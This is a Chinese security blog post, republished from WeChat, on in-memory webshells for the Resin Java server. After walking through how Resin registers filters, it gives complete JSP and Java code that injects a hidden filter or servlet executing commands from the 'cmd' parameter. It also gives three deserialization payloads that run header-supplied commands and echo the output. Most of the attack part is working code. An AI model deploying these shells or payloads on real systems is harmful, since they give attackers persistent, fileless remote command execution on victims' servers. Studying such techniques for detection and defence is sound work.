关注我们❤️,添加星标🌟,一起学安全!
作者:KimJun@Timeline Sec
本文字数:4039
阅读时长:3~5min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负
0x00 Resin简介
Resin
是 CAUCHO
公司(http://www.caucho.com/)
的产品,是一个非常流行的支持 servlets
和 jsp
的引擎,速度非常快。Resin
本身包含了一个支持 HTTP/1.1
的 WEB
服务器。虽然它可以显示动态内容,但是它显示静态内容的能力也非常强,速度直逼 APACHE SERVER
Servlet
Servlet
是一种处理请求和发送响应的程序,Servlet
是为了解决动态页面而衍生的东西
Tomcat 与 Resin
相同点:
-
都是 web
服务器,对servlet
和jsp
提供了良好的支持,自身采用java
开发,都支持集群部署
不同点:
-
resin
专业版是要收费,而tomcat
是免费的,resin
专业版支持缓存和负载均衡 -
Resin
在一台机器上配置多个运行实例时,稍显麻烦,不像Tomcat
复制多份,修改个端口即可,完全独立
0x01 Resin Filter内存马分析
和Tomcat Filter
类型的内存马一样,Resin Filter
型的内存马原理是:当Web
请求经过 Filter
,如果我们动态创建一个恶意的Filter
并且将其放在最前面,程序运行时就会优先执行我们的恶意代码
Resin调试环境搭建
在官方网站下载对应压缩包[https://caucho.com/products/resin/download/gpl](https://caucho.com/products/resin/download/gpl)
,本地调试环境需要下载source
,和搭建Tomcat
环境差不多,这里就不细说,可以参考p牛
搭建Tomcat
源码调试环境的文章
Resin Filter 流程分析
在注入 Filter
内存马之前,我们先来分析一下正常Filter
在Resin
中的流程是怎么样的 自定义 filter
:
package com.test;
import javax.servlet.*;
import java.io.IOException;
public class FilterDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 初始化创建");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("Filter 进行过滤");
}
@Override
public void destroy() {
System.out.println("Filter 销毁");
}
}
然后在web.xml
中注册我们的filter
,这里我们设置url-pattern
为 /filterDemo
即访问 /filterDemo
才会触发
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<filter>
<filter-name>filterDemo</filter-name>
<filter-class>com.test.FilterDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>filterDemo</filter-name>
<url-pattern>/filterDemo</url-pattern>
</filter-mapping>
</web-app>
访问 http://localhost:8080/resinTest/filterDemo
,发现成功触发,resinTest
为当前项目名
接下来来分析一下Resin
如何调用我们的自定义的filter
,Resin.java
是启动Resin
服务器的入口点,前面都是一些环境初始化的操作,主要看resin.initMain();
首先JspCompiler
会查找并读取 WEB-INF/web.xml
文件,然后把webApp
对象和webXml
传入configureBean
方法中
然后XmlConfigContext
使用对web.xml
文件进行一系列解析,首先处理filter
标签这一部分
<filter>
<filter-name>filterDemo</filter-name>
<filter-class>com.test.FilterDemo</filter-class>
</filter>
configureBeanProperties
,生成一个childBean
对象,里面是一个FilterConfigImpl
,获取到filterName=filterDemo,filterClass=com.test.FilterDemo
接着使用attrStrategy.setValue(bean, qName, childBean);
进行反射生成filter
,跟进
发现通过WebApps.addFilter(FilterConfigImpl config)
添加filter
,FilterManager
是一个filter
管理器,跟进它的_filterManager.addFilter(config);
这里可以发现FilterManager
通过_filters
添加filterName
和config
属性,_filters
是一个Hashmap
接着处理filter-mapping
标签,同样的,解析后反射调用
<filter-mapping>
<filter-name>filterDemo</filter-name>
<url-pattern>/filterDemo</url-pattern>
</filter-mapping>
_filterMap
是一个ArrayList
动态数组,里面存储filterMapping
对象
在WebApp
中还有一个_filterMapper
,他的buildDispatchChain
方法会根据_filterMap
的数组顺序依次调用链上的Filter
0x02 内存马实现
根据上面的分析,如果我们需要实现一个filter
内存马,攻击的大致流程如下:
-
获取上下文对象,同时创建一个恶意 Filter
-
利用 filterConfigImpl
对Filter
进行一个封装,使用webapp
对象addFilter
-
创建相应 filter
路由映射 -
创建新的 ArrayList<FilterMapping>
,并将恶意的filterMapping
插到首位
Filter类型
在tomcat
中我们知道,可以通过MBean
、lastServicedRequest
、request.getSession().getServletContext()
、Thread.currentThread().getContextClassLoader()
等多种方式去获取上下文对象 在Resin
中可以通过反射获取线程中的ServletInvocation
,使用它的getContextRequest
方法,获取上下文对象,再通过它的实现HttpServletRequestImpl
的getWebApp
方法获取webApp
最终的完整的Filter
内存马:
<%@ page import="com.caucho.server.webapp.WebApp" %>
<%@ page import="com.caucho.server.dispatch.FilterConfigImpl" %>
<%@ page import="com.caucho.server.dispatch.FilterMapping" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="com.caucho.server.dispatch.FilterMapper" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%
ClassLoader classloader = Thread.currentThread().getContextClassLoader();
Class servletInvocationClazz = classloader.loadClass("com.caucho.server.dispatch.ServletInvocation");
Class filterConfigImplClazz = classloader.loadClass("com.caucho.server.dispatch.FilterConfigImpl");
Class filterMappingClazz = classloader.loadClass("com.caucho.server.dispatch.FilterMapping");
Class filterMapperClazz = classloader.loadClass("com.caucho.server.dispatch.FilterMapper");
Object contextRequest = servletInvocationClazz.getMethod("getContextRequest").invoke(null);
WebApp webapp = (WebApp) contextRequest.getClass().getMethod("getWebApp").invoke(contextRequest);
//判断是否已经注入
String evilFilterName = "EvilFilter";
if (webapp.getFilterRegistration(evilFilterName) != null) {
out.println("Resin FilterMemShell Injected!!");
return;
}
//创建并添加 filterConfigImpl 实例
Filter evilFilter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("EvilFilter 初始化");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("EvilFilter 进行过滤");
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
Process process = Runtime.getRuntime().exec(req.getParameter("cmd"));
BufferedReader bf = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder result = new StringBuilder();
String line;
while ((line = bf.readLine()) != null) {
result.append(line).append("</br>");
}
servletResponse.getWriter().write(result.toString());
process.destroy();
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
System.out.println("EvilFilter 销毁");
}
};
Class newFilterClazz = evilFilter.getClass();
FilterConfigImpl filterConfigimpl = (FilterConfigImpl) filterConfigImplClazz.newInstance();
filterConfigimpl.setFilterName(evilFilterName);
filterConfigimpl.setFilter(evilFilter);
filterConfigimpl.setFilterClass(newFilterClazz);
webapp.addFilter(filterConfigimpl);
//创建相应 filter 路由映射
FilterMapping filterMapping = (FilterMapping) filterMappingClazz.newInstance();
FilterMapping.URLPattern filterMappingUrlPattern = filterMapping.createUrlPattern();
filterMappingUrlPattern.addText("/*");
filterMappingUrlPattern.init();
filterMapping.setFilterName(evilFilterName);
filterMapping.setServletContext(webapp);
//设置filterMapper
Field fieldWebappFilterMapper;
try {
fieldWebappFilterMapper = webapp.getClass().getDeclaredField("_filterMapper");
} catch (NoSuchFieldException Exception) {
try {
fieldWebappFilterMapper = webapp.getClass().getSuperclass().getDeclaredField("_filterMapper");
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
}
}
fieldWebappFilterMapper.setAccessible(true);
FilterMapper filtermapper = (FilterMapper) fieldWebappFilterMapper.get(webapp);
Field fieldFilterMapperFilterMap = filterMapperClazz.getDeclaredField("_filterMap");
fieldFilterMapperFilterMap.setAccessible(true);
//把EvilFilter放到首位
ArrayList<FilterMapping> newFilterMappings = (ArrayList) fieldFilterMapperFilterMap.get(filtermapper);
newFilterMappings.add(0,filterMapping);
fieldFilterMapperFilterMap.set(filtermapper, newFilterMappings);
fieldWebappFilterMapper.set(webapp, filtermapper);
out.println("Resin FilterMemShell Inject Success!!");
%>
开启服务,访问 evil.jsp
,注入成功
访问http://localhost:8080/resinTest/index.jsp?cmd=ls
,执行成功
Servlet类型
同理,Resin Servlet
类型的内存马也可以按照上面的方法进行分析,直接给出代码:
public class ResinServletMem implements Servlet {
public static String pattern;
static {
try {
String servletName = "evilServlet";
Class si = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch" +
".ServletInvocation");
Method getContextRequest = si.getMethod("getContextRequest");
javax.servlet.ServletRequest contextRequest = (javax.servlet.ServletRequest) getContextRequest.invoke(null);
Method getServletContext = javax.servlet.ServletRequest.class.getMethod("getServletContext");
Object web = getServletContext.invoke(contextRequest);
com.caucho.server.webapp.WebApp web1 = (com.caucho.server.webapp.WebApp) web;
com.caucho.server.dispatch.ServletMapping smapping = new com.caucho.server.dispatch.ServletMapping();
Field f = ServletConfigImpl.class.getDeclaredField("_servletClass");
f.setAccessible(true);
f.set(smapping, RSMSFromThread.class);
Field f1 = ServletConfigImpl.class.getDeclaredField("_servletClassName");
f1.setAccessible(true);
f1.set(smapping, RSMSFromThread.class.getName());
Field f2 = web1.getClass().getDeclaredField("_servletManager");
f2.setAccessible(true);
Object manager = f2.get(web1);
Field f3 = ServletManager.class.getDeclaredField("_servlets");
f3.setAccessible(true);
HashMap map = (HashMap) f3.get(manager);
map.put(servletName, new ServletConfigImpl());
smapping.setServletName(servletName);
smapping.addURLPattern(pattern);
web1.addServletMapping(smapping);
} catch (Exception ignored) {
}
}
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) {
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
0x03 Resin反序列化攻击
基于resin
开发的应用如果存在反序列漏洞的情况下,因为注入的是字节码,如果想打cmd
回显,需要通过一些手段获取到 request
和 response
,下面列举Resin
中几种回显的方式
回显问题
思路:通过反射技术遍历全局变量的所有属性的类型,查找request
对象 方法1:阅读源码,寻找存储有request
对象的全局变量 方法2:使用工具进行半自动化反射搜索全局变量
这里用到,半自动化挖掘request
实现多种中间件回显工具:[https://github.com/c0ny1/java-object-searcher](https://github.com/c0ny1/java-object-searcher)
编码实现
根据挖掘结果构造回显payload
,主要有三种
public static void getResponse1() throws Exception {
Thread thread = Thread.currentThread();
Field threadLocals = Thread.class.getDeclaredField("threadLocals");
threadLocals.setAccessible(true);
Object threadLocalMap = threadLocals.get(thread);
Class threadLocalMapClazz = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
Field tableField = threadLocalMapClazz.getDeclaredField("table");
tableField.setAccessible(true);
Object[] objects = (Object[]) tableField.get(threadLocalMap);
Class entryClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
Field entryValueField = entryClass.getDeclaredField("value");
entryValueField.setAccessible(true);
for (Object object : objects) {
if (object != null) {
Object valueObject = entryValueField.get(object);
if (valueObject != null) {
if (valueObject.getClass().getName().equals("com.caucho.server.http.HttpRequest")) {
HttpRequest httpRequest = (com.caucho.server.http.HttpRequest) valueObject;
//执行命令
String cmd1 = httpRequest.getHeader("cmd");
String[] cmd = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd1} : new String[]{"cmd.exe", "/c", cmd1};
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\a");
String output = s.hasNext() ? s.next() : "";
//response
HttpResponse httpResponse = httpRequest.createResponse();
httpResponse.setHeader("Content-Length", output.length() + "");
Method method = httpResponse.getClass().getDeclaredMethod("createResponseStream");
method.setAccessible(true);
com.caucho.server.http.HttpResponseStream httpResponseStream = (com.caucho.server.http.HttpResponseStream) method.invoke(httpResponse);
httpResponseStream.write(output.getBytes(), 0, output.length());
httpResponseStream.close();
}
}
}
}
}
//request对象存储TcpSocketLink
public static void getResponse2() throws Exception {
Class tcpsocketLinkClazz = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.network.listen.TcpSocketLink");
java.lang.reflect.Method getCurrentRequestM = tcpsocketLinkClazz.getMethod("getCurrentRequest");
Object currentRequest = getCurrentRequestM.invoke(null);
java.lang.reflect.Field f = currentRequest.getClass().getSuperclass().getDeclaredField("_responseFacade");
f.setAccessible(true);
Object response = f.get(currentRequest);
java.lang.reflect.Method getWriterM = response.getClass().getMethod("getWriter");
java.io.PrintWriter w = ( java.io.PrintWriter) getWriterM.invoke(response);
//response
String[] cmd = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", "whoami"} : new String[]{"cmd.exe", "/c","whoami"};
java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\a");
String output = s.hasNext() ? s.next() : "";
//输出
w.write(output);
}
//request对象存储ServletInvocation
public static void getResponse3() throws Exception {
Class si = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
java.lang.reflect.Method getContextRequest = si.getMethod("getContextRequest");
com.caucho.server.http.HttpServletRequestImpl req = (com.caucho.server.http.HttpServletRequestImpl) getContextRequest.invoke(null);
try {
if (req.getHeader("cmd") != null) {
String cmd = req.getHeader("cmd");
javax.servlet.http.HttpServletResponse rep = (javax.servlet.http.HttpServletResponse) req.getServletResponse();
java.io.PrintWriter out = rep.getWriter();
out.println(new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\A").next());
}
} catch (Exception e) {
e.printStackTrace();
}
}
原文始发于微信公众号(Timeline Sec):攻防技术 | Resin内存马与回显姿势
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论